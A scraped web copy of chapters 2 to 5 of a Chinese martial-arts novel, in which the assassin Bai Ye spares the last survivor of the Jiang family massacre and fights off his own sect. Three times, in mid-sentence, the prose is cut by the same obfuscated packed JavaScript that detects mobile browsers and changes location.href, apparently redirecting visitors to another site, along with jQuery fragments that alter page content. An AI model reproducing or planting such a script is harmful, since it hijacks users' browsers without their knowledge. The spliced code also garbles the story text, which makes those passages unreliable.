《江月不知年》 2. 动雪轻刺客戮满门,出叶寒江心刺白野 一滴鲜血正落在了白野的袖口上,随后慢慢地向四周晕染开来,像一朵刚刚盛开的梅花一般。随着血液的散开,“梅花”的颜色黯淡下来,一瞬间显得无力而疲惫,紧接着隐匿在白野青黑色的衣服里。 白野将握着剑鞘的手慢慢抬起,以便于他不用低头便可以看到那只被鲜血污染的袖口。白野瞥着那朵若隐若现的“梅花”,脸上显露出一丝倦容来。一朵桂花飘飘然正好落在了袖口的那片血渍上,为已无生气的“梅花”点缀了一颗金黄色的花蕊。 白野将手缓缓放下,轻轻抬起头来,看向从空中落下的桂花,任凭桂花落在他的脸上。飘落的桂花并未在白野的脸上停留,而是从白野白皙的脸庞滑过,继续往地面落去,仿佛想要快速地将满地的血污和尸体盖住一般。 满园的桂花因为白野和江明远刚刚的激斗全都被激荡到了空中,此时一场金黄色的花雨正笼罩着这片院子。旭日的光辉透过东方云层的缝隙泼洒在桂花花雨和白野的身上,将白野的一袭黑衣镀上薄薄的一层淡红色。金黄的晨光在雪轻剑冰冷的剑锋上流动着,似乎随时都会顺着剑尖滴落在地面,继而顺着满地的血液流向那些早已断气的江家一家老小的身体里边。 白野深深地呼吸着,似乎有一口永远都喘不过来的气憋在胸口。可这一吸一吐之间的声息对于白野来说却像震雷一般传进他的耳朵,让他感觉到些许眩晕和头疼。这是白野的老毛病了,从他十二岁开始执行任务到如今这五年多以来,每次杀人之后,他都会如此。 白野重重地呼吸着,桂花的清香中夹杂着一股似乎永远都无法祛除的浓重的血腥味。血腥味伴着桂花的香气钻进他的鼻子当中,让他感觉有点恶心。白野闭上了眼睛,他耳朵里的呼吸声开始变得如同置身于一个诺大的洞穴中传来的回音那般,让人心神不宁。 白野咬了一口自己的舌尖,尖厉的疼痛让他的心神稍微稳定了下来,鬼魅版游离的呼吸声开始离他越来越远,直至消失。白野的呼吸渐渐舒缓下来。白野轻启双眸,将头慢慢转向了正厅的方向。 “还差一个”白野自言自语到。 躲在正厅暗阁内的江心,正透过暗门的缝隙瑟瑟发抖地看着院子中间沐浴在花雨中的白野。太阳已经升到了半空,刺眼的晨光从云层的缝隙中挤出来,带着空气中的血腥味绕过那个修长的黑色身形正穿过大厅从暗门的缝隙中直扑江心的眼睛,以至于江心无法看清对方的脸庞。 白野缓缓地走进大厅逼近暗阁,落在白野肩上的阳光仿佛要给接下来的屠戮制造机会一般缓缓往后退去。江心终于看清了白野的脸庞,略显苍白的面容冷峻而略带几分清秀,深邃的双眸如同暗夜星辰一般神秘而犀利,可也透露着无尽的疲惫和痛苦。 江心很奇怪,他怎么会从这个冷血杀手的眼眸中看到痛苦?全家七十余口,一个清晨便被眼前的这个人,不,是畜生,被眼前的这个畜生屠戮殆尽,就连在厨房帮厨的厨子大叔的孩子也没有放过!她才八岁啊!对了,还有可儿姐姐,听到动静后可儿姐姐就冲出去了,不知道现在还活着没有?自从母亲去世后,可儿姐姐就成了江心唯一的情感依托,以至于他都十五岁了还需要可儿姐姐每晚陪他一起睡才安心。可是可儿姐姐只是个歌姬,她怎么突然一下会武功了呢?可儿姐姐临出去前将父亲江明远的佩剑“叶寒”从房梁上取下来交给了他,可是这把剑父亲一直都说被他亲手毁掉了,怎么会出现在自己房间的房梁上? 江心的思绪乱如团麻。 此刻,白野向这边投来的那道看似慵懒而无意的目光正好与江心的目光撞在了一起!刹那间,一种令人窒息的压迫感向江心袭来!想要冲出去亲手手刃仇人的冲动在一瞬间被恐惧冲散,取而代之的是深入骨髓的寒意。江心紧握着父亲佩剑“叶寒”的手不再听他的使唤!此刻,手中的“叶寒“江心连半分都拔不出来。 旭日已经突破裹挟它的云层,冲上了东方的云端。漫天花雨此刻也稀疏了下来。透过花雨雨帘,江心眼睁睁地看着这个杀他全家的少年正一步一步地走向自己的藏身之所。江心充满血丝的眼睛死死地盯着白野,握着剑柄的手心沁满了汗水。 白野在距离暗阁两步之遥的地方停了下来,手中雪轻剑剑锋的寒光透过缝隙正好照在了江心的眼眸上。江心屏住呼吸,握着剑柄的右手又增加了几分力道,准备随时拔剑刺向白野。恐惧带来的彻骨寒意与冲天地怒气让江心的身体不自主地抖动起来! 突然一声微弱的猫叫声划破冷寂的空气,传到了江心的耳朵里。是小白!江心以为小白在慌乱中逃走了,它是又回来了吗?这个杀人不眨眼的畜生总不会连一只猫都不放过吧?果然白野转头向传来猫叫的方向看了过去!江心平复着呼吸,慢慢松开紧握着剑柄的手,将手心的汗水在衣服上缓缓擦去,随后又握住了剑柄。 白野缓缓走到大厅的一侧,一只小白猫被压在倒在地上的柜子下边,气息奄奄,发出粗重的呼吸声。小猫看着缓缓走向自己的白野又轻轻叫了一声,叫声虚弱无比。江心心想,小白呀,你怎么会向那个恶煞求救呢?他是去杀你的呀!可自己又能做什么呢?像个废物一样躲在这里!江心缓缓地吸了一口气,准备冲出去与白野决一死战! 正在这个时候,白野用左手抬起倒下的柜子,另一只手将剑放在了地上,并把小猫温柔地拿了起来。白野左手松开柜子,柜子再一次落向地面发出沉闷的声音。柜子落地的声音将准备冲出去的江心再一次逼了回去。白野将小猫抱在怀里,小心地抚摸着小猫的头顶。 江心看着将剑丢在地上的白野心想正是一个好的时机,可是自己却无法拔剑而出。这回并不是因为恐惧。不知什么时候,江心的恐惧突然不见了。白野将小猫小心翼翼地放进了怀里,随后右脚轻轻在地上动了一下,放在地上的宝剑便回到了手里。江心还没注意到小白被这个杀手弄到哪里去的时候,未等江心反应过来,白野抬手已将手中的雪轻向着这边斜劈了过来!招式凌厉,剑锋若影,一瞬间暗阁的屏障轰然倒下,江心与白野相对而立。 江心直愣愣地看着眼前的白野,手中的叶寒丝毫没有出鞘。雪轻的剑锋在江心的鼻梁上留下了一道浅浅的倾斜剑痕,一丝微乎其微的鲜血从伤口处溢了出来,在江心的鼻梁上留下浅浅的一道血痕。白野抬眼看向眼前这个正欲拔剑的少年,手中的动作停了下来。 朔风骤起,簌簌的花雨在一瞬间变的纷纷扰扰,早已落地的花朵也在瞬间被席卷而起,从门外冲进了大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991017|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅当中,瞬间笼罩了二人。正当白野看着眼前的江心之时,一朵沾染了血污的桂花飘然落下,刚好落在了白野的睫毛之上。白野微微闭了一下眼睛,一道寒光冲着白野袭来,白野微转身躯,避开了怀中的小猫,紧接着一股温热的暖流从白野的腹部缓缓向下流去。猩红的血液快速地从白野的衣服中渗透出来。 江心瞪大的双眼死死地盯着眼前的白野。“叶寒”的剑身有一半没入了白野的腹部;穿透白野身体的剑身上,血液顺着剑刃滴落在地面那层薄薄的金黄色花毯之上。对于一个孱弱的、从未碰过刀剑的十五岁少年来说,刺穿仇人的感觉并没有想象中那么解恨,随之而来的是更加剧烈的悲痛!江心的身体抖得更厉害了!白野怀中的小猫此时又发出轻微的一声哼叫。江心大惊,难道小白在这个人的怀里?那自己刚刚那一剑岂不是…… “小白!”江心惊叫了出来。 白野的嘴角忽地露出一丝微笑,眼睛紧紧盯着眼前这个用剑刺穿自己身体的少年。白野的笑让江心觉得毛骨悚然!江心迅速地将剑从白野的身体抽离了出来,剑身所带出的鲜血喷溅在江心的脸上。还未等江心将瞄准白野心脏的第二剑刺出去,白野的“雪轻“早已架在了江心的脖子上,剑锋浅浅地没入江心的皮肤,留下一道红色的剑痕,几颗血珠从江心的皮肤中渗了出来,江心下意识地停下了手中的动作。 看着眼前这个比自己年纪还要小的少年,白野的一丝微笑此刻确确实实地变成了明显的笑容。面对着屠戮了自己全家的这个杀人狂魔,江心不顾自己脖子上的危险,将手中的剑再一次刺了出去。让江心没有想到的是,对方既没有用剑划开自己的脖子,也没有彻底躲避自己刺出去的这一剑,而是微微转身用肩膀结结实实地接下了这拼尽全力的一刺!“叶寒”的剑身再一次刺穿了白野的身体。恨意和悲伤在刺入仇人身体的一瞬间变得更大,江心手中的剑因为他身体剧烈的颤抖几乎就要脱手了! “不要乱动,你听”白野看向身后,室外纷纷扰扰的漫天花雨被旭日的光辉镀上了一层柔软的薄膜。白野手中“雪轻“的剑刃并没有再往下深入,而是从贴着江心的脖子上往外挪了半寸放在了江心的肩上。江心知道,这是对方给自己的警告,对方只要再稍一用力便可轻易取掉自己的性命!可他为什么要羞辱自己? “你听”白野又重复了一遍。 江心一时竟不知如何是好了,眼前的这个人是在自言自语还是在和自己说话?短暂的沉默之后,剧烈颤抖的江心再也抓不住手中的“叶寒”了。江心松开“叶寒”的剑柄,瘫软地跪在了地上,发出了撕心裂肺般的哭喊声。白野看着满脸血水和泪水的江心,将“雪轻”收入剑鞘,并将刺在自己身体里的“叶寒”拔出来丢在了地上。 “叶寒”跌落在地的清脆响声像泠冽的琴声一样悠长而久久不肯散去。 白野将怀中的小猫缓缓抱出来放到跪在地上的江心面前,随后慢慢走向厅堂的大门,靠着门框站定,闭着眼睛,侧耳倾听。 秋高气爽,一只不知名的鸟落在了院子里的桂花树上叫着,叫声悠长而清脆,像是在唱一首挽歌。小白凑到了江心的身边用脸蹭着江心颤抖的手背。 那一刻,似乎万籁俱寂。 3. 飞羽镖白野再抗命,夜鸦令如月初登场 ……《长苏府志》所载:武彧十一年仲秋,长苏总督江明远一家惨遭灭门,阖家七十八口一夜之间悉数被杀;经仵作验尸所知,江家七十八口皆毙于一柄剑下……府中细软金银皆无所失,唯江明远佩剑“叶寒”不知所踪。是日,花落满地,血染寒霜,狂风大作,日月隐匿…… ……笔者云:查得尸体七十八具,唯江明远三子江心之死状尤为惨烈——四肢皆断,手脚弃于荒茔遭野狗啃食而不全,脸皮尽被剥去,无从辨认,唯贴身所饰玉佩可证其身……故而笔者以为江明远三子江心得以逃过一劫,至今尚存,虽不知去向,亦不可盖棺定论……时江明远长子江风戍边未归,次子江琅云游四海不知其踪迹,均未遭杀身之祸……经查,其时灭江家之刺客乃十七岁少年耳,名曰白野,所持宝剑乃天德老人所铸十一神兵之四“雪轻剑”…… ……有诗曰: 半黄柳叶唱别意,满堂木樨洗尘旭。 雪轻清鸣断霞光,青衿缓舒霜无迹。 ——摘自浪荡书生郑穆清《八紘风云录之长苏恩仇录》 白野斜靠在门框上站着,腹部和肩部的伤口不断往外渗血。血液滴落在紫檀木制的门槛上变得暗淡无比,仿佛在一瞬间便渗进了江家的门槛。朔风夹带着落叶从白野的脸颊划过,白野的头发随着风向后摆去,藏在白野耳根下方的一个细窄的伤疤露了出来。 白野觉得有些乏累,倚着门框轻轻坐了下去。一片落叶摇摆着落在了白野摊开的手掌上。白野将落叶举起仔细端详,被阳光穿透的叶片内部像是藏着满天星辰,似乎能一眼看穿却同时深邃无边。白野苦涩地喘了一口气,将落叶轻轻放在地上。落叶像一叶扁舟一样从白野的手心滑向地面,随后被路过的秋风带走,消失在舞动的无数叶片之中,再也无法找到。 白野身后不远处的江心逐渐止住了哭喊,粗重地呼吸着。小白又用它的侧脸在江心的手背上蹭了蹭,转而抬头看着江心轻柔地叫了一声。江心无力地用手抚摸了小白的头顶一下。“走吧小白,这里已经不再是家了”江心轻轻地将小白往外推去。小白似乎听懂了江心的话,又蹭了过来,用它的小脑袋顶着江心的膝盖,希望主人能够留下自己。“你要陪我一起死吗?走!”江心粗暴地将小白使劲往远处推去,以至于小白被推倒在地上翻滚了几圈。小白起身看着江心直叫,想要向江心走去却又停在原地犹豫不决。 江心摇摇晃晃地站起身来,正欲往前迈步的时候,厚实的门窗突然发出爆裂的声音,继而裂成无数碎片向四周飞散开来,数道寒光如黑色闪电一般穿破门窗冲进了大厅。江心猛一抬头,只见坐在门槛上的杀手用手轻推门框,身子凌虚而起,整个人便如离弦之箭般弹射而出,正向自己飞来!与此同时,白野将带着剑鞘的佩剑投向江心,先于自己直奔江心而去! 未等江心反应过来,几声金属撞击金石的声音相继传来。江心并没有受伤,转头看去,带着剑鞘的“雪轻”深深嵌入了身后的柏木柱子当中,巨大的冲击力让柱子从头到脚裂开了一条仿佛能吞噬光明的缝隙,而那把剑的剑鞘上边楔着三枚排列整齐的羽毛形状的飞镖,漆黑锋利,泛着幽幽的蓝光。 江心见状试图弯腰伸手去够地上的“叶寒”,可未等江心俯下身去,白野已经到了江心身旁。不等白野站定,数枚黑色的飞羽再一次冲破门外的扶光直奔江心面门!情急之下白野猛地搂住江心的腰部,把江心紧紧环在怀里,扭转腰身,立时二人向地面倒去。黑色飞羽擦着白野的肩部迅疾而过,斩断了白野的一丝头发,随后钉入了二人身后的墙壁之中,发出尖厉的响声。 就在二人即将落地的时候,黑色飞羽再次刺破空气,如流星赶月一般呼啸而来,一枚接着一枚冲向二人。白野用另一只手掌击向地面,二人立刻腾空而起,将致命的黑色飞羽一一闪过。白野和江心在空中翻转上升,从门外挤进来的阳辉交替滑过二人的脸庞。江心瞪视着这个此刻正紧贴着自己的仇人的眼睛,目光凌厉。由于距离原因,白野的双眼此时也正好看着江心的眼睛,极近的距离让白野将江心的眼睛看得分外真切,阳光扫过之时,江心的双瞳之中似有星芒闪烁。 二人升至最高处开始下落,白野趁势将深入柱子当中的“雪轻”拔了出来。由于受伤再加上一连串快速的动作,白野的呼吸稍微急促起来,从白野鼻中呼出的气息清晰地落在江心的面庞上,带着一股暖意。江心赶紧将脸侧到一旁,他不想让这个人呼出的气体有半分进入自己的体内。白野的心跳略有加速,心脏的跳动声穿过两人的衣衫传入了江心的身体。你也是有心跳有血有肉的人吗?江心无力地想着,此时此刻他像一个任人摆布的布偶一样,虽具人形但四肢绵软无力。 还未等二人落地,两只直径一尺余长的金环带着蜂鸣一般的声响一前一后旋转着飞速斩向江心,两声清脆的金属撞击声过后,两只金环带着蜂鸣接连飞向门外,消失在阳光之中。金环的攻击被“雪轻”挡了回去。随后白野和江心落回地面,白野松开环在江心腰上的胳膊,江心踉跄地走向柱子,顺着柱子缓缓坐了下去,而白野则是又徐徐走向门口,怀抱宝剑再一次靠着门框坐在了门槛上。江心疑惑地看向坐在门槛上的那个黑色身形,炫目的阳光下,那个杀手的背影此刻显得有几分消瘦。 一声极其微弱的猫叫声传了过来,江心突然意识到了什么,转头看向小白刚刚站立的位置,小白正躺在血泊当中,已经失去了生气。江心三步并作两步冲向小白,泪水夺眶而出。江心想要把小白抱起来,可是却发现小白被一支黑羽镖死死地钉在了地上,动不得分毫。 “小白!对不起,小白!我不应该推开你啊!”江心控制不住自己的眼泪,这是如今在这个从小长到大的宅院里唯一和他有关系的生命了,而这条生命也已从他身边离开,而且是他亲手将它推开的。江心用沾满了小白鲜血的双手掩面哭泣,任凭血污沾满他的脸庞。对于今晨发生的一切他都无能为力,眼睁睁地看着家人一个接一个的倒下,杂乱的打斗声和不断传来的哀嚎声占据了江心所有的知觉。自己真是个废物啊!如果大哥和二哥在的话,他们一定能保护家人的安全,可是自己却丝毫没有作为!自责占据了江心所有的情感。 江心看向坐在门槛上的那个人。那个人为什么要救自己?明明是他杀了自己全家,可到头来为什么留下了自己的性命?还一而再再而三地救下自己?江心啊,你死了岂不是更好!江心缓缓抬起沾满血污的双手,看着自己手无缚鸡之力的这双手,江心的胸口一热,一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991018|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜血吐了出来,随即江心瘫软地斜躺在了地上。江心像一滩烂泥一样躺着,现在随便一个小孩子都可以随意摆布他。 在这一刻,江心就像被丢进了漆黑而弥漫着迷雾的无底深渊,深渊的峭壁如同紫墨玉一般神秘而光滑。江心想要爬出深渊却在光滑的峭壁上无处着力,紫墨玉一般的峭壁照映着狼狈的江心,镜像中的江心越来越扭曲,逐渐被这紫黑色的晶莹完全吞噬。江心生不如死。白野向江心看了过来,恍惚间,江心突然觉得这张脸庞变得非常熟悉,似乎在哪里见过,可自己就是想不起来。 世界一下子停了下来,庭院当中席卷落叶的风声突然消失了,飘在空中的桂花也都在空气中停滞了下来。从破碎的门窗射入大厅中的光线突然变得像是一道道金色的蚕丝一样仿佛伸手就能触碰的到。江心看着眼前的这一切露出一个满意的微笑,他知道他将会跟着小白一同去找父亲团聚了,只是可惜给可儿姐姐画的画像只完成了一半……还没能将自己亲手雕刻的玉佩交给大哥和二哥……答应给厨子大叔的孩子做的糖葫芦也没来得及做……顾婆婆托他给从军的儿子写的信因为自己贪玩儿还没写完……给小丫鬟莲儿做的香囊还差几味药材……好可惜呀,原来自己对不起这么多人…… 一颗晶莹的泪珠从江心的眼角滑落,挂在他柔软的皮肤上。终于要结束了,江心平躺在地上让自己彻底放松了下来。白野起身向江心走去。就在此时,一群身着黑衣,手持弯刀的不速之客冲破还尚存的残缺门窗落在了大厅当中,将白野团团围了起来。为首的黑衣人先是向白野作了一个揖,随后从怀中掏出一枚乌鸦形状的令牌对着白野大声呵斥:“夜鸦令在此,同宗主问话,夜鸦白野,为什么要留下活口?为什么几次三番阻碍我等杀死此人?” 白野没有理会黑衣人,随即“雪轻”出鞘,只见白野身形一闪,犹如一道黑色的闪电一般疾冲向黑衣人。白野手中“雪轻”舞动起来,恰似游龙出海,上下翻飞,剑影所到之处,寒芒闪烁,血花飞溅。霎时间,大厅当中已横七竖八地躺满了黑衣人的尸体。白野背向最后倒下的黑衣人首领,手中“雪轻”剑身上的鲜血顺着剑刃缓缓滴落,不挂一丝血迹。 随着“雪轻”入鞘,大厅又恢复了平静,只是弥漫在空气中的血腥气又浓重了几分。白野再次向江心走去,轻轻地将瘫软的江心抱了起来。正当白野刚刚站起身来,一只金环呼啸着再一次向着二人袭来。白野跃身而起,躲过金环的攻击。金环向前飞去,在即将触碰到墙壁之时回旋过来,再一次冲着刚刚落地的白野脖颈而去。白野侧身向后,金环错过白野向来时的方向飞了回去。就在金环快要飞出大厅之时,一只纤纤玉手抓住了金环,蜂鸣声戛然而止。 “不执行命令也就算了,干嘛还杀自己人呀?”一个娇柔魅惑的声音传来,音色清脆悦耳,又透着几分慵懒,仿佛每一个音符都被精心雕琢过。“我说小野野,你也太无情了,好歹都是同门呀,被你杀的一个不剩了”,夹杂着一丝若有若无笑意的声音轻轻飘荡在空气中,语速不紧不慢。 白野看向门口,冷如月款步走进大厅,身姿婀娜,一袭如火的红裙紧紧裹着她玲珑有致的身躯。 “他们不该对只猫痛下杀手”白野冷冷地回答到。 4. 决存亡如月阻檀郎,逢生死可儿劫公子 冷如月无奈地叹了口气,瞥着满地的尸体轻描淡写地说道,“那也算是活该了,杀了也就杀了”,随后冷如月抬眼看向白野,“不过……小野野,怀抱美人,残杀同门,无视夜鸦令,你是要抗命吗?”冷如月带着明显挑逗的语气问到。 白野没有理会冷如月,而是抱着江心径直往门口走去。冷如月轻转身躯,翻身背靠着门框坐在了大厅的门槛之上,一条腿屈膝踩着门槛,双手摆弄着两个合在一起的金环,挡住了白野的去路。 “你说这小郎君是命好呢还是命不好呢?你说他命好吧,全家人一个清晨都被人家杀了。你说他命不好吧,竟然有人愿意冒着被追杀的风险救他。哎呀呀,真让人唏嘘呀。不过可惜了,救他的人和杀他全家的是同一个人呢。你说是不是呀小野野?”冷如月说完后发出嗤嗤的笑声。 “让开”白野冷冷道。 “那我要是不让呢?”冷如月的声音变得严肃起来。 “你打不过我的”白野道。 “谁知道呢,你现在受了伤,还抱着一个俊俏的小郎君,我不信你不分心呢”,冷如月调侃着白野。 “你可以试试”白野说着抱着江心继续往外走去。 “小野野,我是真不想跟你动手呀。打又打不过,放又不能放走,真的让人苦恼呢!” 冷如月话音方落,手中的金环便已脱手而出,向着白野怀中的江心飞了过去。白野见状,向后倾身,躲过呼啸的金环。金环从白野的脸部上方飞过,白野右脚点地一个转身又稳稳站了起来。冷如月单掌击地,脚踩门框,整个人如一团红色火焰一般飘然而起,衣袂猎猎作响,眨眼之间便已近得白野身前。 一把两尺长的残月弯刀从冷如月的腰间抽了出来,向着白野怀中江心的脖颈而去,速度之快,犹如紫电划破夜空。白野阻挡不及,只好转身,用自己的脊背去扛下冷如月这一刀,以使江心避开锋芒。刀锋凌利,一瞬间白野的背上被划开一个口子,露出白色的内衬。这一刀速度极快,以至于白野的衣服破裂之后鲜血才来得及流出。很快鲜血将内衬染红,渗透进白野黑色的外衣衣料里边。 冷如月越过白野,凌空转身,另一只没有握刀的手正好接住回旋而来的金环,随后落向地面。不等白野挺直身躯,金环便又冲着江心飞来。瞬息间,白野松开托着江心腿部的左手,反手拔剑,将剑身格挡在身后。电光火石之间,金环已经撞击在了“雪轻”的剑刃上。本来合在一起的两只金环被“雪轻”切开,恢复成两只金环继续向前飞斩。白野猛地把江心向自己身上揽去,江心紧紧地贴在了白野的身上。随即两只金环紧贴着两人的身躯风驰电掣一般旋转而过,带走了两人的几缕头发。受到“雪轻”的阻挡,到底力道消弭许多,在斩击二人不成后,两只金环深深地嵌入了白野身后的门框之中,并没有将门框撞裂。 冷如月娇喝一声,手中弯刀向着白野横斩过去,不过刀锋明显是冲着白野怀中江心的后脖去的。白野提剑格挡,刀剑撞击在一起,火星四溅。冷如月柳眉紧蹙,转而向江心的腰部砍去,刀刃划破空气,发出“嘶嘶”的呼啸声。白野见状,倒转剑身再一次挡下弯刀的攻击。同时,白野脚尖轻点,带着江心腾空而起,在空中一个翻身,白野带着江心便从大厅飞到了院子当中。落地瞬间,白野借着身体旋转之势,长剑在空中划出一道完美的弧线,自左而右,用剑身将几片落叶扫进了大厅当中。 落叶此时如同铜浇铁铸的一般,裹挟着呼呼风声,威力惊人,飞速朝着冷如月的身体而去。冷如月双手紧握弯刀,用刀身挡住了飞来的落叶。落叶齐齐撞击在残月弯刀的刀身上,发出“当当当“的声音。同时冷如月被这几片树叶的力道往后推了两步距离。冷如月收刀入鞘,向门外飞去,在穿过门口的时候顺势将两只镶在门框上的金环抓在手中,紧接着将其中一只金环向江心投掷过去,一股不取江心性命誓不罢休之势。冷如月使出了十分力道,金环飞速旋转,发出刺耳而尖锐的声响。 白野不敢怠慢,一手环着江心的腰部将江心紧紧拥在身边,另一只手举剑刺向金环的内环部分。金环旋转的力道非同小可,将手握“雪轻”的白野带了起来。白野抱着江心在空中旋转几圈方才将金环的力道全部卸去。白野和江心再次落地,金环也在同时脱离“雪轻”回旋到冷如月的手中。冷如月仍旧不肯放弃,她使尽全身解数把两只金环一前一后再次掷向了江心。极快的速度让金环隐起了身形,只听得金环飞速旋转发出的鬼哭狼嚎一般的声响充满了整个庭院却不见其踪影。 此刻,白野面庞冷峻坚毅,双眸犹如寒星一般森冷。白野闭上眼睛,微微侧首,仔细听着金环的声音。追风逐电一般的金环一左一右瞬间便到了白野身旁。白野手腕急转,动作快如疾风,手中的“雪轻”在空中化作一道炫目的银色光幕,光芒耀眼,如同银河倾落尘世。两声急促而清脆的撞击声几乎连在一起,火星像无数颗流星一般在空中短暂划过。两只被白野格挡回去的金环蜂鸣着奔向了冷如月。 冷如月不敢接住这回来的金环,一个后空翻躲开了金环。金环继续向冷如月的身后飞去,直撞向大厅的门窗,将本就破烂不堪的门窗再一次撞成齑粉,最终死死地钉在大厅顶端的那张刻着“簪缨世胄”的金匾之中。不过,虽然白野将金环挡了回去,但金环迅猛的力道也将抱着江心的白野向后撞击了数尺。未等白野站稳,冷如月已经手持弯刀飞到了白野跟前。与此同时,一道青色的影子鬼魅一般闯到白野身后,趁着白野与冷如月交锋的一瞬间把江心从白野的手中抢了出去。 青色的身影速度飞快,带着江心跃上屋顶向远处飞奔而去。突然发生的意外是白野和冷如月都没有想到的,二人停下缠斗,互相看了一眼对方。白野立刻跃上屋顶去追刚刚的那个青色身影。冷如月烦躁地地叹了口气,飞身进入大厅,从匾额上取下金环后也追了上去。 江心迷迷糊糊的,只觉得一股熟悉的清香幽幽地钻进自己鼻孔。这个香味……是自己送给可儿姐姐的香囊……是可儿姐姐!可儿姐姐还活着!江心的意识稍微清醒了几分,只听得耳畔呜呜作响。 江心意识到,这是风快速从耳边吹过的声音。这一刻,江心仿若漂泊在惊涛骇浪中的孤舟,突然寻到了可以依靠的港湾,泪水不自主地夺眶而出,从脸庞划过,最终被风吹到空中。白野已然追了上来,一颗江心的泪珠被风裹挟着向后吹来,落在了白野略显苍白的嘴唇上。白野的身后不远处,冷如月也正朝着这个方向紧追不舍。 杜可儿察觉到身后的动静,脚下步伐愈发加快。她带着江心在错落有致的屋顶上飞驰,脚尖轻点瓦片,发出轻微的“簌簌”声。秋风夹杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991019|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着荒草和落叶迎着几人袭来,江心耳边的风声骤然变大。树叶和荒草从杜可儿和江心的脸庞上划过,就像冬日凛冽的寒风吹过冰原,割得人脸颊生疼。江心的眼皮沉重得似有千斤,努力想要睁开,想看清楚可儿姐姐的模样,可终究还是抵挡不住浓重的倦意,沉沉昏睡过去。 一片飞叶从白野的脸庞滑过,在白野的脸颊上留下浅浅的一道划痕。白野猛地一踩瓦片加快了速度,拉近了与杜可儿的距离。杜可儿即将力竭,可是她一刻都不敢停歇,她深知一旦停下,不仅江心的性命不保,自己也会陷入绝境。杜可儿从怀中摸出四枚燕子形状的飞镖向身后投去。 两枚青色飞燕直奔白野的面门而来,而另外两枚则是从白野身旁掠过飞向了白野身后不远处的冷如月。白野用剑柄将两枚飞燕镖拨开,继续拉近与杜可儿的距离。然而被白野拨开的飞燕镖并没有落地,而是也冲着冷如月飞去。冷如月用金环将一前一后两组燕子镖挡开,没好气地吐出一句“小野野,太调皮了”。 杜可儿的呼吸已经开始急促起来,体力快要达到极限。不过还好,马上就到前边的竹林了。杜可儿抱紧怀中已然昏睡的江心,加快速度冲进了竹林。竹林茂密,光线突然变得昏暗起来。杜可儿在竹林间左闪右突,试图借助竹子的掩护甩开杀手。 很快白野也冲进了竹林。白野自高而下穿过竹叶的声音如同雨声一般传进杜可儿的耳朵。正巧这时杜可儿发现不远处有一处地势低洼,且竹子更为密集的区域,心生一计。杜可儿抱紧江心,朝着那处洼地奔去,跃身翻入低洼之处和江心躺了下来。杜可儿解开外套,把江心拥入怀中,用衣衫将江心盖住。青色的衣衫仿若与这昏暗的竹林融为一体。杜可儿竭力控制着自己的气息,生怕发出一丝响动暴露位置。 白野在距离杜可儿不远处停了下来,环顾四周,随后闭上眼睛,侧耳仔细听着竹林中的动静。风在竹林间穿梭,竹叶相互摩挲,发出“沙沙沙”的声响。偶尔有几枚枯黄的竹叶,挣脱了枝头的束缚,在空中打着旋儿,慢悠悠地飘落,像是一只只折翼的蝴蝶,为这不知名状的氛围平添了一抹别样的凄美。 随后冷如月也冲进了竹林,在白野身旁不远处停了下来,同样在林中寻觅着江心的踪迹。白野、冷如月和杜可儿的位置此时正好构成一个等边三角。 尽管杜可儿拼尽全力地控制自己的呼吸,但难以平复的急促心跳还是被白野和冷如月同时发觉。冷如月立刻将手中的一只金环投了出去,金环在林中环绕飞行,把杜可儿和江心身旁的竹子全部斩断。竹子断裂倒地,无数竹叶摩擦的声音如同暴雨的声响一般,惊起了不远处一群栖息的飞鸟。 杜可儿知道自己已经被发现了,于是将外套脱下来轻轻盖在江心身上,缓缓站起身来,并将背负在身后的一柄两尺长的短剑拔了出来,缓缓走出洼地。冷如月的金环此时也回旋到了手中。杜可儿、冷如月和白野三人站在竹林当中形成对峙之势。 风力渐强,竹枝相互碰撞,竹子们的舞动愈发肆意,若从空中看去,竹叶翻涌如绿色的波涛。竹林的声音也变得激昂起来,宛如千军万马奔腾而过,又仿若汹涌澎湃的海浪拍打着礁石。竹枝上挂着的夜露还未完全蒸干,被风裹挟着飞溅而出,在日光下闪烁着晶莹的光芒,仿若细碎的星子散落一般,从三人的头顶飘下。 5. 宠俊逸断剑释可儿,怜香玉赠刀走冷月 碎星一般散落的夜露还未来得及落向地面,便在秋风中缓缓消散。索风仿若一双无形却又充满力量的手,正使劲揉搓着这片竹林。翠影婆娑摇曳,日光透过枝叶缝隙,将白野、冷如月和杜可儿三人的脸部照得忽明忽暗。三道身影宛如亘古便伫立在此的雕塑般,稳稳地呈三角之势对峙着,气氛凝重得仿佛能将空气冻结。紧绷的僵局如同拉至极限的弓弦,只需轻轻一碰,便能崩断这诡异的安宁。 